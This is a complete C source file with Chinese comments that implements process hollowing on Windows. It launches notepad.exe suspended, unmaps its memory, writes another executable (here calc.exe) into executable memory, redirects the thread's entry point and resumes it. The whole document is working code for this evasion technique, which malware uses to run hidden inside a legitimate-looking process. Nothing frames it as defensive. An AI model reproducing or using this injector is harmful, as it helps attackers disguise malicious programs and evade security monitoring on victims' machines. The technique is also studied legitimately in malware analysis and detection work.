代码

  1. #include<windows.h>
  2. #include<stdio.h>
  3. char path[MAX_PATH]="c:\\windows\\system32\\notepad.exe";//被注入的傀儡进程
  4. char path2[MAX_PATH]="c:\\Users\\Users\\Desktop\\calc.exe";//注入的进程
  5. int CreateProc(char *,PROCESS_INFORMATION * );//创建傀儡进程
  6. int UnmapView(PROCESS_INFORMATION);//卸载傀儡进程内存映射
  7. int Injection(PROCESS_INFORMATION);//实现注入
  8. DWORD GetImageSize(char *);//获取SizeOfImage
  9. DWORD GetEntryPoint();//获取OEP
  10. DWORD GetImageBase();//获取基址
  11. CONTEXT context;//定义线程上下文结构
  12. HANDLE hfile;//要注入的文件的句柄
  13. char * pBuffer;//将文件读入内存的指针
  14. void main()
  15. {
  16. PROCESS_INFORMATION pi;
  17. if(!CreateProc(path,&pi))//创建傀儡进程
  18. return;
  19. if(UnmapView(pi)!=0)//卸载映射
  20. return;
  21. if(Injection(pi)==0)//实现注入
  22. return;
  23. printf("INJECTION SUCCESS");
  24. system("pause");
  25. }
  26. int CreateProc(char * path,PROCESS_INFORMATION * pi)
  27. {
  28. STARTUPINFOA si;
  29. ZeroMemory(&si,sizeof(si));//初始化为0
  30. si.cb=sizeof(si);
  31. ZeroMemory(pi,sizeof(pi));
  32. return CreateProcessA(path,NULL,NULL,NULL,FALSE,CREATE_SUSPENDED,NULL,NULL,&si,pi);//以挂起的方式创建进程
  33. }
  34. int UnmapView(PROCESS_INFORMATION pi)
  35. {
  36. typedef NTSTATUS (WINAPI *ZwUnmapViewOfSection)(HANDLE,LPVOID);//定义函数
  37. ZwUnmapViewOfSection UnmapViewOfSection = (ZwUnmapViewOfSection)GetProcAddress(GetModuleHandle(TEXT("ntdll.dll")),"ZwUnmapViewOfSection");//获取函数基址
  38. context.ContextFlags = CONTEXT_ALL;
  39. GetThreadContext(pi.hThread,&context);//获取线程上下文
  40. DWORD base;
  41. ReadProcessMemory(pi.hProcess,(LPVOID)(context.Ebx+8),&base,sizeof(DWORD),NULL);//读取傀儡进程基址
  42. return UnmapViewOfSection(pi.hProcess,(LPVOID)base);//卸载傀儡进程映射
  43. }
  44. int Injection(PROCESS_INFORMATION pi)
  45. {
  46. DWORD ImageSize = GetImageSize(path2);//获取要注入进程的ImageSize
  47. DWORD ImageBase = GetImageBase();//获取IMageBase
  48. context.Eax = (GetEntryPoint()+ImageBase);//获取要注入的进程的入口点,eax中保存着入口点
  49. VirtualAllocEx(pi.hProcess,(LPVOID)ImageBase,ImageSize,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);//在傀儡进程中申请要注入的进程所需要的空间大小,注意以注入的内容的ImageBase为基址,这样就不用修复重定位和IAT
  50. if(!WriteProcessMemory(pi.hProcess,(LPVOID)ImageBase,pBuffer,PIMAGE_NT_HEADERS(PIMAGE_DOS_HEADER(pBuffer)->e_lfanew+pBuffer)->OptionalHeader.SizeOfHeaders,NULL))//将要注入的HEADER映射到傀儡进程
  51. return 0;
  52. PIMAGE_SECTION_HEADER psection =IMAGE_FIRST_SECTION(PIMAGE_NT_HEADERS(PIMAGE_DOS_HEADER(pBuffer)->e_lfanew+pBuffer));
  53. for(int i=0;i<PIMAGE_NT_HEADERS(PIMAGE_DOS_HEADER(pBuffer)->e_lfanew+pBuffer)->FileHeader.NumberOfSections;i++)
  54. {
  55. if(!WriteProcessMemory(pi.hProcess,(LPVOID)(ImageBase+psection->VirtualAddress),pBuffer+psection->PointerToRawData,psection->SizeOfRawData,NULL))//将要注入的区块映射到傀儡进程
  56. return 0;
  57. ++psection;
  58. }
  59. if(!WriteProcessMemory(pi.hProcess,(BYTE *)context.Ebx+8,&ImageBase,sizeof(DWORD),NULL))//将要注入的修改线程上下文中的ImageBase
  60. return 0;
  61. SetThreadContext(pi.hThread,&context);//设置修改后的线程上下文
  62. ResumeThread(pi.hThread);//恢复线程
  63. return 1;
  64. }
  65. DWORD GetImageSize(char *path)//读入文件到内存
  66. {
  67. hfile = CreateFileA(path2,GENERIC_READ|GENERIC_WRITE,NULL,NULL,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);//打开要注入的文件
  68. if(hfile == INVALID_HANDLE_VALUE)
  69. exit(0);
  70. DWORD filesize = GetFileSize(hfile,NULL);
  71. pBuffer = new char[filesize];
  72. ReadFile(hfile,pBuffer,filesize,&filesize,NULL);
  73. PIMAGE_DOS_HEADER pDosHeader = PIMAGE_DOS_HEADER(pBuffer);
  74. if(pDosHeader->e_magic!=0x5A4D)
  75. exit(0);
  76. PIMAGE_NT_HEADERS pNtHeaders = PIMAGE_NT_HEADERS(pDosHeader->e_lfanew+pBuffer);
  77. return pNtHeaders->OptionalHeader.SizeOfImage;//遍历PE结构拿到SizeOfImage
  78. }
  79. DWORD GetEntryPoint()
  80. {
  81. PIMAGE_DOS_HEADER pDosHeader = PIMAGE_DOS_HEADER(pBuffer);
  82. if(pDosHeader->e_magic!=0x5A4D)
  83. exit(0);
  84. PIMAGE_NT_HEADERS pNtHeaders = PIMAGE_NT_HEADERS(pDosHeader->e_lfanew+pBuffer);
  85. PIMAGE_OPTIONAL_HEADER OptionalHeader = &pNtHeaders->OptionalHeader;
  86. return OptionalHeader->AddressOfEntryPoint;//遍历PE结构拿到AddressOfEntryPoint
  87. }
  88. DWORD GetImageBase()
  89. {
  90. PIMAGE_DOS_HEADER pDosHeader = PIMAGE_DOS_HEADER(pBuffer);
  91. PIMAGE_NT_HEADERS pNtHeaders = PIMAGE_NT_HEADERS(pDosHeader->e_lfanew+pBuffer);
  92. PIMAGE_OPTIONAL_HEADER OptionalHeader = &pNtHeaders->OptionalHeader;
  93. return OptionalHeader->ImageBase;//从PE结构找到ImageBase
  94. }